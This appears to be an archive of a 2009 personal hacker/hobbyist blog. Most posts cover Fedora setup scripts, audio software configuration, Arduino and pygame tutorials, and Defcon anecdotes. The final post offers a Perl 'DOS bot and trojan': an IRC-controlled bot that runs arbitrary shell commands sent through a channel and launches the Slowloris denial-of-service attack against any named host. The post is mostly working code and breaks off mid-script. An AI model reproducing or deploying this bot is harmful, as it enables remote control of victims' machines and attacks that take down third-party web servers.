So basically install all the dependencies from the normal instruction sheet tells you to with yum, plus to be on the same side do them all again with -devel tagged on the end.

I compiled fftw from scratch because when I did a search for it in yum it wasn't there(I had searched for fftw3f), and so I was looking for the solution to get it to show up in scons,(when you ran scons it said Checking for fftw3f... no ) and someone on OpenSuse said compiling with the --enable-float option helped them(./configure --enable-float). This didn't help me in Fedora, however I did another search and realized that it WAS in yum, so I installed it and the devel package:
yum -y install fftw
yum -y install fftw-devel

After you build with scons you can launch, supercollider with this:
/usr/local/bin/sclang

However I wanted to add the SwingOSC to mine, so I downloaded that tar:
http://sourceforge.net/projects/swingosc/
After you download that, in terminal navigate to the dir and run
sh install_linux_system.sh /usr/local
(The /usr/local is because of the way supercollider was installed)

Create a file called .sclang.sc in your user folder with these options:

GUI.swing;
SwingOSC.java = "/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0/jre/bin/java";
SwingOSC.program = ("/usr/bin/SwingOSC.jar").standardizePath;
SwingOSC.default.boot;

So that file would be, /home/user/.sclang.sc or /root/.sclang.sc, and these paths are Fedora specefic.

Setting up JACKD (Ardour) with your M-Audio Delta 1010lt on fedora 11

2009-10-21T19:30:00.000-07:00

First thing make sure jack is installed. Next check your alsamixer by typing:
alsamixer
Press f6 to see what your m-audio sound card is, mine was one, as opposed to 0, which was the default so I'll start jackd like this:
/usr/bin/jackd -d alsa --device hw:1

Start ardour or whatever you are routing too.

Then use your favorite graphical jack tool to set up the routing, I use:

qjackctl

***You may have some problems, if you start any of these as different users, so if your just selecting some things out of the menu, and doing other things in the terminal, don't change to root in terminal.***

Installing all the shit you need on fedora core

2009-10-21T13:11:00.000-07:00

So I just built a new fedora box...woot. But the problem is I set it all up by hand which is stupid. So I wrote a script in bash for everything I did, so next time I don't have to. First I did it with bash and then I did it with perl. Make sure, your root if you choose to run these scripts, they should be easy to edit to install what you want, becuase there pretty simple, in the perl one you just need to replace the stuff in @yum_installs. Also run yum update, before you run.(The bash one includes two tar balls, not in the perl one)

RUN AS ROOT
RUN YUM UPDATE FIRST

Bash:


#!/bin/bash
#run as root
#prep
cd /root
mkdir /root/tar
#Necessities for existence/development
yum -y install xchat
yum -y install screen
yum -y install cpan
yum -y install wget
yum -y install PCRE
yum -y install cmake
yum -y install gtk+
yum -y install pygame
yum -y install python-devel
yum -y install cmake
yum -y install cmake-devel
yum -y install liblo
yum -y install liblo-devel
yum -y install gcc-c++-devel
yum -y install cmake-gui
#robotics
yum -y install nxt_python
yum -y install pybluez
#Audio programs setup
yum -y install libsndfile
yum -y install libsndfile-devel
yum -y install qjackctl
yum -y install zynaddsubfx
yum -y install vkeybd
yum -y install qtjack-devel
yum -y install csound
yum -y install csound-devel
yum -y install portmidi
yum -y install rosegarden4
yum -y install jamin
yum -y install jack-audio-connection-kit-devel
yum -y install ctapi-cyberjack-devel
yum -y install zynjacku
yum -y install ardour
#installs of utilities through tar balls
#Yes, you can get nmap through yum, however Fyodor reccommends a source install
#and to be honest, it isn't that hard
cd /root/tar
wget http://nmap.org/dist/nmap-5.00.tar.bz2
tar -xvf nmap-5.00.tar.bz2 
cd /root/tar/nmap-5.00
./configure
make
make install
cd /root/tar
wget http://download.gna.org/algoscore/AlgoScore-081112.tar.bz2
tar -xvf AlgoScore-081112.tar.bz2
cd /root/tar/AlgoScore
./make_build

Perl version:


#!/usr/bin/perl
use strict;
use warnings;

my $yum;

my @yum_installs = qw(
 xchat screen cpan
 wget pcre-devel cmake
 gtk+ pygame python-devel
 cmake cmake-devel liblo
 liblo-devel gcc-c++-devel cmake-gui
 libsndfile libsndfile-devel qjackctl
 zynaddsubfx vkeybd qtjack-devel
 csound csound-devel portmidi
 rosegarden4 jamin jack-audio-connection-kit-devel
 ctapi-cyberjack-devel zynjacku ardour
 nxt_python pybluez
);

&array_cracker();

sub array_cracker(){
 foreach(@yum_installs){
   print $_;
   $yum = `yum -y install $_`;
   print $yum;
  }
}

Had to Change ABSPATH after moving my wordpress blog fuckinfiction

2009-10-19T11:58:00.000-07:00

I choose to move my wordpress blog, fuckinfiction from, wereboobs.com/fuckinfiction to fuckinfiction.wereboobs.com. Now I choose to do this to try to clean up server a little bit, and that required a directory move as well, however after the move I couldn't get to the admin interface because the ABSPATH or Absolute Path, within the database was still pointing to the old directory. To fix it this required two database changes. The recommendation that I read said to go in with phpMyAdmin, and to make the changes, I however had no interest in installing that on my server, so I could have done it by hand, However, I'm typically prone to error when doing that kind of stuff. So I did it with and app called Sequel Pro, which was really spiffy. It created the SSH port forwarding so I didn't have to.

Ok so if you need to do this, you should navigate to your wordpress database
Navigate to wp_options
change siteurl (row 1)
and home (row 39)
to your fqdn
for me that is http://fuckinfiction.wereboobs.com

Some Bad photography of mine, and my nxt stuff

2009-10-11T16:40:00.000-07:00

I took a couple shots of my NXT face I made. Video with functionality soon.

Blog News

2009-10-11T12:06:00.000-07:00

The blog has been on a bit of a slow streak, But I should have some more over the robot stuff soon and I am reading some interesting security books right now as well, so some of that may leech there way here as well. There is a local( Nashville ) hacker con ( PhreakNIC ) at the end of October I will most likely go to, however, Electric Six is playing the 31st, and there is no way I am missing that. You should check and see if you have local hacker cons, if you're not in the Nashville area, there are probably more than you think. Check out the new update on wereboobs fuckin fiction ( http://wereboobs.com/fuckinfiction ), that would be my fiction blog for those of you uninitiated.
In other news:

Interesting Reboot Remix videos:
http://cyjon.net/videos.php

Hipster Please! has a very interesting review of Schaffer the Dark Lord's new album.

Singularity Summit: a brief review

2009-10-08T11:26:00.000-07:00

Singularity Summit: a brief review

This is a review by the guy that does Dresden Codak, of the Singularity Summit. This review is exactly what I wanted to know about the summit. I suggest you read it if you have any interest in the Singularity, or Artificial Intelligence.

Very Simple Tutorial for pygame and arduino, to get started making a gui for arduino part 1

2009-10-03T12:39:00.000-07:00

This is how to get started, with python and your arduino, brining up the begginings of a GUI. It's just a taste of what you can do and I hope to go further on the subject. You need pygame, and the python firmata installed(explained here), and your arduino must have the firmata software on it as explained here. Here is the code I stole/wrote for getting the arduino to blink when you click within pygame. This outline should get you started with fun stuff:


#! /usr/bin/env python

import pygame
from firmata import *

proArduino = Arduino('/dev/ttyUSB0')
proArduino.pin_mode(13, firmata.OUTPUT)
proArduino.delay(2)

LEFT = 1
x = y = 0
screen = pygame.display.set_mode((640, 480))
running = 1

def blinky(pin_n):
         proArduino.digital_write(pin_n, firmata.LOW)
         proArduino.delay(2)
         proArduino.digital_write(pin_n, firmata.HIGH)
         proArduino.delay(2)


while running:
        event = pygame.event.poll()
        if event.type == pygame.QUIT:
         running = 0
        elif event.type == pygame.MOUSEBUTTONDOWN and event.button == LEFT:
         blinky(13)

        screen.fill((100,0,0))
        pygame.display.flip()

Right now I am experimenting with a lot of diffrent things(forking etc.), to see how the arduino and pygame can best interoperate.

Prepping Fedora Core for NXT brick, and Arduino, to be used with pygame and mod_python, in a python environment

2009-10-03T12:15:00.000-07:00

If you do a fresh install of Fedora 11, you just need to save this script and run it as root on your machine, once you have saved it with a .sh extenstion, open the terminal, use the command su to become root, then navigate to the directory you have saved it in. Change the permissions, before you try to run it, so it is executable. Run it by typing dot then slash the the script name: ./scriptname.sh

Before the script:
su
chmod 777 scriptname.sh


#! /bin/bash
yum -y install mod_python
mkdir -p /var/www/html/test
cat <<-EOF >/etc/httpd/conf.d/pythonTwo.conf
<Directory /var/www/html/test>
  AddHandler python-program .py
  PythonHandler mptest
  PythonDebug On
</Directory>
EOF
cat <<-EOF >/var/www/html/test/mptest.py
#!/usr/bin/python
from mod_python import apache

def handler(req):
    req.send_http_header()
    req.write("Hello World!")
    return apache.OK
EOF
yum -y install python-devel
yum -y install git
git clone http://github.com/lupeke/python-firmata.git
cd python-firmata
python setup.py install
yum -y install gcc
yum -y install pybluez
yum -y install nxt_python
yum -y install pygame
/usr/sbin/apachectl restart

**caveat**
Be careful where you save it, it will create a directory for the python-firmata in that directory. If you use this right when your machine boots, there is a possibility the yum updater will start using yum, if the script will pause until the updater is finished using yum then continue, or you can run it before you start the script.

Hackforums.net was purchased

2009-10-01T12:30:00.000-07:00

It appears that hackforums will be back up shortly, under new managment.

Malvager is down, my fault

2009-10-01T11:26:00.003-07:00

I put a bad iptables command into it. It will be up and running soon.

Omni has closed HF, malvager.com attempts to step up

2009-09-29T19:26:00.000-07:00

Omni has closed hackforums.net, malvager.com is trying to fill that gap. So if you would like please join us at malvager.com.

Blinking an LED over the web, with python firmata, php, and apache.

2009-09-27T12:15:00.001-07:00

This was done on a mac, however it should be the same or very similar on a linux system as well. Either way you need a webserver with php running, and an arduino conneceted via ftdi(usb probably) to your computer. You will also need to install the python firmata module, which is pretty straight forward, and you can get that here: http://github.com/lupeke/python-firmata.

This is to show you how to make an led blink, using a web page you have coded, and an arduino. Why would I show you how to do something so insignificant? The idea, is that this would be a place to start, with any sort of, over the web arduino fun. There are a list of caveats at the end.

Open the arduino program, then select File->Examples->Firmata->Standard Firmata. Then upload this to your board. If you have problems uploading, be sure you have the right board and serial port selected under tools. My cpanel.php file looked like this:


<html>
<head>
</head>
<body>
<form action="cpanel2.php" method="post">
On <input type="radio" name="light" />Light
<input type="submit" />
</form>
<?php
$password = $_POST["password"];
$light_on = $_POST["light"];
if(isset($light_on)){
 $execute_light = `/Users/dustycarver/python/led2.py`;
}
?></body>
</html>

$execute_light should equal the pathname to your python firmata file, and should be surrounded my backticks(`), not single quotes(').Your python file should look like this:


#! /usr/bin/env python
"""
Simple LED blinking example using Python Firmata
Copyright (C) 2008  laboratorio (info@laboratorio.us)
 
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
 
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.
 
You should have received a copy of the GNU General Public License
along with this program.  If not, see .
"""
 
from firmata import * 
 
a = Arduino('/dev/tty.usbserial-FTE4W74Q')
a.pin_mode(13, firmata.OUTPUT)
a.delay(2)
 
a.digital_write(13, firmata.HIGH)
a.delay(2)
a.digital_write(13, firmata.LOW)
a.delay(2)

You can see I stole the code from the python firmata example, however I took out the loop so it would do only one sequence of blinks. Your "a =" line should have the address of your Arduino device.

Caveats:
Obviously this has limitations, it has to negotiate the connection with the arduino each time and that's a lot of overhead, so this is probably a good way to get started on something like turning your lights on at home before you get there, and less real time stuff. I am working on a mod_python deal, so that the connection is ever present and will submit that, if it ever becomes fruitful.

Just lost a terrabyte drive

2009-09-27T10:18:00.000-07:00

I just lost a terabyte drive because of a cheap, usb to ide/ide2.5/sata connector. In the past I have had good luck with these, but this one was extremely shoddily mad and a bad connection was made. You could smell the drive cooking. I was working on a robotic web interface when this happened. That will be delayed until I can figure out what all is lost, and how I will cope. I also lost all my iTunes purchased music and will let you know if they give me my music back.

It's my Birthday and the guys at Malvager made this for me

2009-09-16T10:26:00.001-07:00

http://bsday.pcriot.com/

DIY djsteveporter kanye west and jay z

2009-09-15T08:54:00.001-07:00

I'm a big fan of dj Steve Porter and Jay Z....Man I love this shit.

8 bit Trip Video

2009-09-05T15:03:00.000-07:00

Single and Famous, Kflay and MC Lars

2009-08-18T13:23:00.000-07:00

Yeah I think Lars is a douche.....that being said, he knows how to rock.

Malvager Lulz

2009-08-16T10:31:00.000-07:00

More fan work for Malvager, This one from proxy

Updates on el blogo

2009-08-12T17:40:00.000-07:00

I am going to try and have something fun an programmy out by the end of this weekend, don't know if that's possible. I am making some headway on my music, which is good. I started a fiction blog for my fiction writing at http://wereboobs.com/fuckinfiction/. So if you guys want to read my fiction you can do that.

As a robotocist I have a new favorite comic, replacing erfworld...Dresden Codak.

Ray Kurzweil even gets a mention...damn.

Hardware Hacking Badges

2009-08-07T12:50:00.000-07:00

I don't think they had the best design, but they had the most style, and two of my favorite new friends.
My favorite because I met them the first night. Heise of Evil Council Org Jason Bourne'd that som' bitch. And wrapped his hand in cloth and punched the glass out of the clock. Jordan was the co author of this flava-flav style hack, and his web residence is semicomplete.com. I noticed he has a lot of arp security stuff, which of course is close to my heart. Click the Pic for the whole flickr series.

It seems that Heise's main residence is really his blog.

Btw there Finished picture is here

How bsdpunk, and the blog are doing.

2009-08-07T12:39:00.000-07:00

At defcon....I hurt myself. Bad. I twisted my ankle. I busted a knee. I hit my head on a...well I don't remember, it hurt though. Besides that I'm well....Oh wait, no I am not. I am seeing a GP regularly as well as a specialist. My grandmother who most of you know I live with, just had a mini-stroke. I am being unfairly treated by a Debt collection service agency, who continually offer impossible itinerary for deposits, and I don't mean like I don't have enough money I just mean I tell them when I get paid and there like, ok just have the money in our account the day before(ok not that extreme, but still not possible){There name is DCS btw, student loans of course}. I Haven't programmed anything so I haven't put anything up but, looking at the stuff on semicomplete.com makes me hopeful. Started righting less nerdcore more electroclashy/industrial music....it sounds awful so far.
On the good side I met a few people at defcon. One was @spaceageminds, he will be selling computer systems soon so check him out. I also met a fellow I may be collaborating with on some music with, which is nice.

Vegas sucks. Defcon is Good

2009-08-07T12:37:00.000-07:00

Yes there are slots in the airport.

Las Vegas sucks. Why does Vegas suck? It's expensive the people suck, except the bellmen, and the hackers of course. The bus is expensive(I know, I ride buses). The strip club sucks(seriously she ripped the scar tissue in my back, seriously). Vegas fucking sucks. Everyone's desperate and everyone's a con....I know I know I did it wrong, here's how I failed at vegas and how you can succeed.

I stayed at the Riviera.
Fail: Over 80 bucks a night.
Should have stayed at circus circus across the street, much cheaper.

Food:
Fail, mostly I bought stuff at the convience store in the hotel(sandwhices), about 5 bucks a piece.
Should have taken the 7 dollar all day bus pass first day and loaded up on groceries off the strip/old strip.

Many more fails, dancing injuries etc... but anyways vegas sucks, it's expensive.

Defcon is good....well for what I wanted was, it is ok.

I went to network with people. This was a total disaster. The whole con was so clicky it was hard to infiltrate groups and just talk to people. I tried really hard. I am positive I shook over a thousand hands(very difficult for someone as introverted as myself). I TRIED. I didn't get to talk to that many people though, that sucked, leave comments on how to do that better if you know. Everyone I met said, go to shmoocon it's better for that.
The hardware hacking room was SO AWESOME and if I wasn't just trying to meet people, I would have probably spent all my time there. There were all kinds of contests and if I wanted to be involved in one of those I would have had a better time, when you have a chance look up:

badge hacking (look forward to a post on two of my favorite people's badge hack)
gringo warrior challenge
The CTF
Scavanger Challenge

The EFF party was awesome, and int80 of DualCore was awesome, he got me to get up to the party and introduced me to a lot of cool people. Thanks int80, he is @dualcore if you are interested.

There was no free swag in the vendors area....unless you bought stuff...and you know me, I bought to many books. There was a place called Unix Surplus that had a lot of great deals on servers and old mac and sgi boxes. There site is currently :/ but maybe they will restock after defcon and have a good ebay site or something soon.

Celebrity Collage by MyHeritage

2009-07-27T07:39:00.001-07:00

DON'T CLICK ON IT. It will just take you to there stupid site...so I guess if you want to go there go ahead and click on it. But anyway, I was just happy a computer thought I looked like Alan Rickman.

PS Incredibly disappointed I looked like someone from Linkin Park.

http://www.myheritage.com/collage

MyHeritage: Family tree - Genealogy - Celebrity

PS I really hope I age as well as Alan Rickman.

Hacker / Music Pad

2009-07-19T16:33:00.000-07:00

My new digs, yo. I set up my room in a more hackerish/studio style. Tell me what you think. The before picture set can be seen here. And the after picture set can be seen here.

Hackforums.net

2009-07-15T12:16:00.000-07:00

Hackforums has been under a ddos for some time now, and is back up, perhaps only temporarily. I urge that if you use hackforums and you can afford it, that you donate a few dollars to keep it running. It looks like to mitigate further attacks more bandwidth must be purchased.

I would like to disclose that I have a vested interest in hackforums.net staying up and under the same management. About 1/3 to half my traffic comes from hackforums.net, which is saying a lot.

http://hackforums.net

Hack forums was down for 3 days due to ddos, if you still aren't able to get there...

2009-07-13T14:23:00.000-07:00

It means your IP got blocked, a massive number of IP's were blocked, and until the situation returns to normalcy(maybe a week), you will be blocked.

News in brief

2009-07-12T17:35:00.001-07:00

This weekend was a total wash.I really thought I was going to master rails in a single sitting but it just wasn't in the cards for me. I don't know if rails is that complicated, or I am just dumb. Anyways I definetly have a much firmer grasp on rails now, and am just at a point where I can actually start hacking away at a web app. Yeah it took that long. I was going to impliment a pleasure/pain system in my nxt brick robot and have people be able to give it rewards based on what it was doing, through a rails application I thought it might be easier than perl simply because I knew that rails had a database abstraction layer.....Oh what I didn't know. Anyway, I rebuilt the next brick according to someone elses design as well, to get it more suited for such a task, however, the configuration I used couldn't turn left or right....DOH. So event that was a wash. I also came to the realization it's getting harder and harder for me to start popping out a simple perl script once or twice a week, without either repeating myself or not paying enough attention to the script or the writing. Normally what I produce on my blog posts are simple hacks you can do in a single sitting. It looks like that will be changing(though I am sure every now and then I will pop one out, just out of scratching my own itch). I will be concentrating more on ruby and still on perl as will with a minor in objective c and maybe just plain c from now on. That being said I am also going to start focusing more on computer security as well, as this was the original intention of the blog, the robotics stuff will still be there.
So Check out Leggor.de and in particular Herold's Truck, I will embed the video below. The video is very well produced and meticulous, if not a bit creepy at the same time.

Thanks to leggor.de, i found that there are indeed lego cad files, you can open them in a variety of programs, I have been using Lego digital designer and have found that that works best for me(Windows and Mac).

That being said I also revisted my strobe design on my arduino chip, and relized that, that post is badly written and the code is worse, so here is some corrected code, with the caveat of this design probably needs to be calibrated using the serial monitor based on the lighting in the room:


#define LED 13                 // LED connected to digital pin 13

int val = 0;
void setup()
{
  pinMode(LED, OUTPUT);      // sets the digital pin as output
   Serial.begin(9600);
}

void loop()
{
  val = analogRead(0);
  Serial.print(val);
  Serial.print('\r');
  if(val < 13) {
    digitalWrite(13, HIGH);
    delay(100);                 
    digitalWrite(13, LOW); 
    delay(100);
    digitalWrite(13, HIGH);
  } else {
       digitalWrite(13, LOW);
   }
}

That being said, my hubris has raised the chance of a real technical post for this weekend to about 99 percent fail, I am still going to try and crank something out but who knows.

Old Arduino Strobe post

PS

I built alpharex wrong, I'm sorry.

DOS bot and trojan written in perl featuring slow loris.

2009-07-09T10:52:00.000-07:00

This is my second bot and probably my last hackery type blog post for some time, as I have some music to work on. This bot should work on both mac and linux, however I have not tested it on linux, read below for more info. This is a bot that will launch any command line from the system it is running on. All you need to do is type:system ifconfig, for instance to run ifconfig and it will give you the standard output back. But more importantly it will launch the slow loris DOS attack, if you simply type:slowloris example.tld . So without further ado, your instructions for Total World Domination..ok not really, I doubt you can do much with this.

Modules that need to be installed in addition to modules that were installed for the previous bot Server Monitor Bot
sudo port install p5-net-pcap
sudo cpan
install Net::SSLeay
install IO::Sockets::INET
install IO::Sockets::SSL

So all of a sudden my perl is complaining about threads, and I am freaking out. Because my perl, isn't going to do threads...that upsets me first of all. This happened when I reinstalled Mac OS X. So I decided I was going to compile my own perl and 5.10 to boot, beside my 5.8 perl. On mac, you DO NOT want to install over perl 5.8. This turned out to be a long confusing process, with very little documentation. I was suffice to say confused and unsure. And I made a deal with the devil. I installed ActiveState Perl on my mac. This sounds bad, and it may be, but so far this thing is behaving well. Almost good I would say, but I am scared to say that. So you can install ActiveState on your machine or you can go the CPAN route or rebuild your perl, the choice is yours, I was on a time crunch. I never was able to get this bot to work in a linux enviroment, because I didn't have time to deal with the modules being bastards, it honestly shouldn't be that hard I was just doingitwrong. If you install activestate, module installation is a breeze with ppm. The shebang for activestate is #!/usr/local/ActivePerl-5.10/bin/perl , and the ppm executable is conveinently /usr/local/ActivePerl-5.10/bin/ppm. You may have some permissions troubles getting the bot to start....but if you can't figure this out, then you probably don't have a legitimate reason to destroy the world, and will be stymied at this step. Ok so I put the timeout for loris at 240, it seems to be what the -test on slow loris returns for most small/medium servers, if you want to change it, it is on line 174. I would like to specially thank the those responsible for slow loris, RSnake with threading from John Kinsella, this is in the footer which is appended to the file, because they spent a lot of time working on it I'm sure, and the code is pretty much just theirs, I am just a "know where to paste it" junkie.


#!/usr/local/ActivePerl-5.10/bin/perl
use strict;
use warnings;
use POE qw(Component::IRC);
use LWP::Simple;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;

my $nickname = 'PoeIrcBot' . $$;
my $ircname = 'POEIRCBOT';
my $server = 'irc.malvager.com';
my $channel = "#hammer";
my $password = "password";

my @channels = ('');


# We create a new PoCo-IRC object
my $irc = POE::Component::IRC->spawn( 
   nick => $nickname,
   ircname => $ircname,
   server => $server,
) or die "Oh noooo! $!";

POE::Session->create(
    package_states => [
        main => [ qw(_default _start irc_001 irc_public) ],
    ],
    heap => { irc => $irc },
);

$poe_kernel->run();

sub _start {
    my $heap = $_[HEAP];

    # retrieve our component's object from the heap where we stashed it
    my $irc = $heap->{irc};

    $irc->yield( register => 'all' );
    $irc->yield( connect => { } );
    return;
}

sub irc_001 {
    my $sender = $_[SENDER];

    # Since this is an irc_* event, we can get the component's object by
    # accessing the heap of the sender. Then we register and connect to the
    # specified server.
    my $irc = $sender->get_heap();

    print "Connected to ", $irc->server_name(), "\n";

    # we join our channels
    $irc->yield( join => $_ ) for @channels;
    $irc->yield( join => "$channel $password");
    return;
}

sub irc_public {
    my ($sender, $who, $where, $what) = @_[SENDER, ARG0 .. ARG2];
    my $nick = ( split /!/, $who )[0];
    my $channel = $where->[0];

    if ( my ($loadWord) = $what =~ /^load/ ) {
     my $uptime = `uptime`;
        my $cpuUsagetwo = qr/(load averages: \d+\.\d+ \d+\.\d+ \d+\.\d+)/;
        if ($uptime =~ $cpuUsagetwo){
         $irc->yield( privmsg => $channel => "$nick: $&" );
        }
    }
        if ( my ($ipWord) = $what =~ /^ipadd/ ) {
      my @ifconfig = `ifconfig`;
         my $inetter = qr/(inet \d+\.\d+\.\d+.\d+)/;
         foreach (@ifconfig) {
         my $line = $_;
         if ($line =~ $inetter){
          $irc->yield( privmsg => $channel => "$nick: $&" );
         }
        }
    }

        if ( my ($ipWordtwp) = $what =~ /^exadd/ ) {
                  my $whyip = qr/(Your IP address is \d+\.\d+\.\d+.\d+)/;
      my $content = get("http://whatismyipaddress.com");
      if($content =~ $whyip){
       $irc->yield( privmsg => $channel => "$nick: $&" );
     }
    }
    if ( my ($sysWord) = $what =~ /^system/ ) {
      my @sysCmd = `$'`;
         foreach(@sysCmd){
          $irc->yield( privmsg => $channel => "$nick: $_" );
         }
      }
      if ( my ($sysWord) = $what =~ /^slowloris/ ) {
        my $dnspick = $';
        my $timeoutpick = '240';
        $SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors
  
  print <  CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc::::
  CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc:::
  CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc::
  CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc::::
  CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
  ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc
  ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
  oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
  oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
  oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
  CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
  CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
  OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c.      .  .coOOO888OOOOCoooooccoCOOOOOCOOOO
  OOOOO888\@8\@88888888Oo:. .  ...cO888Oc..          :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
  COOO888\@88888888888Oo:.       .O8888C:  .oCOo.  ...cCCCOOOoooooocccooooooooCCCOO
  CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC
  coooCCO8\@88OO8O888Oo:::... ..  :cO8Oc. . .....  :.  .:ccCoooooccoooocccccooooCCC
  :ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::..  ....  ..:cooCooooccccc::::ccooCCooC
  .:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC
  ....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
  .......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
  ...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
  .............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
   ..... ............. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC
     .  . ...    .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco
    .  .. ... ..    .. ..   ..:...:cooc::cccccc:.....  .........  .....:::::ccoocc
         .   .         .. ..::cccc:.::ccoocc:. ........... ..  . ..:::.:::::::ccco
   Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
  
EOTEXT
  
  my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
  my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
  my $result = GetOptions(
      'shost=s'   => \$shost,
      'dns=s'     => \$host,
      'httpready' => \$httpready,
      'num=i'     => \$connections,
      'cache'     => \$cache,
      'port=i'    => \$port,
      'https'     => \$ssl,
      'tcpto=i'   => \$tcpto,
      'test'      => \$test,
      'timeout=i' => \$timeout,
      'version'   => \$version,
  );
  
  if ($version) {
      print "Version 0.7\n";
      exit;
  }
  
  unless ($dnspick) {
      print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
      print "\n\tType 'perldoc $0' for help with options.\n\n";
      exit;
  }
  
  unless ($port) {
      $port = 80;
      print "Defaulting to port 80.\n";
  }
  
  unless ($tcpto) {
      $tcpto = 5;
      print "Defaulting to a 5 second tcp connection timeout.\n";
  }
  
  unless ($test) {
      unless ($timeout) {
          $timeout = 240;
          print "Defaulting to a 100 second re-try timeout.\n";
      }
      unless ($connections) {
          $connections = 1000;
          print "Defaulting to 1000 connections.\n";
      }
  }
  
  my $usemultithreading = 0;
  if ( $Config{usethreads} ) {
      print "Multithreading enabled.\n";
      $usemultithreading = 1;
      use threads;
      use threads::shared;
  }
  else {
      print "No multithreading capabilites found!\n";
      print "Slowloris will be slower than normal as a result.\n";
  }
  
  my $packetcount : shared     = 0;
  my $failed : shared          = 0;
  my $connectioncount : shared = 0;
  
  srand() if ($cache);
  
  if ($shost) {
      $sendhost = $shost;
  }
  else {
      $sendhost = $dnspick;
  }
  if ($httpready) {
      $method = "POST";
  }
  else {
      $method = "GET";
  }
  
  if ($test) {
      my @times = ( "2", "30", "90", "240", "500" );
      my $totaltime = 0;
      foreach (@times) {
          $totaltime = $totaltime + $_;
      }
      $totaltime = $totaltime / 60;
      print "This test could take up to $totaltime minutes.\n";
  
      my $delay   = 0;
      my $working = 0;
      my $sock;
  
      if ($ssl) {
          if (
              $sock = new IO::Socket::SSL(
                  PeerAddr => "$dnspick",
                  PeerPort => "$port",
                  Timeout  => "$tcpto",
                  Proto    => "tcp",
              )
            )
          {
              $working = 1;
          }
      }
      else {
          if (
              $sock = new IO::Socket::INET(
                  PeerAddr => "$dnspick",
                  PeerPort => "$port",
                  Timeout  => "$tcpto",
                  Proto    => "tcp",
              )
            )
          {
              $working = 1;
          }
      }
      if ($working) {
          if ($cache) {
              $rand = "?" . int( rand(99999999999999) );
          }
          else {
              $rand = "";
          }
          my $primarypayload =
              "GET /$rand HTTP/1.1\r\n"
            . "Host: $sendhost\r\n"
            . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
            . "Content-Length: 42\r\n";
          if ( print $sock $primarypayload ) {
              print "Connection successful, now comes the waiting game...\n";
          }
          else {
              print
  "That's odd - I connected but couldn't send the data to $dnspick:$port.\n";
              print "Is something wrong?\nDying.\n";
              exit;
          }
      }
      else {
          print "Uhm... I can't connect to $dnspick:$port.\n";
          print "Is something wrong?\nDying.\n";
          exit;
      }
      for ( my $i = 0 ; $i <= $#times ; $i++ ) {
          print "Trying a $times[$i] second delay: \n";
          sleep( $times[$i] );
          if ( print $sock "X-a: b\r\n" ) {
              print "\tWorked.\n";
              $delay = $times[$i];
          }
          else {
              if ( $SIG{__WARN__} ) {
                  $delay = $times[ $i - 1 ];
                  last;
              }
              print "\tFailed after $times[$i] seconds.\n";
          }
      }
  
      if ( print $sock "Connection: Close\r\n\r\n" ) {
          print "Okay that's enough time. Slowloris closed the socket.\n";
          print "Use $delay seconds for -timeout.\n";
          exit;
      }
      else {
          print "Remote server closed socket.\n";
          print "Use $delay seconds for -timeout.\n";
          exit;
      }
      if ( $delay < 166 ) {
          print <  Since the timeout ended up being so small ($delay seconds) and it generally 
  takes between 200-500 threads for most servers and assuming any latency at 
  all...  you might have trouble using Slowloris against this target.  You can 
  tweak the -tcpto flag down to 1 second but it still may not build the sockets 
  in time.
EOSUCKS2BU
      }
  }
  else {
      print
  "Connecting to $dnspick:$port every $timeout seconds with $connections sockets:\n";
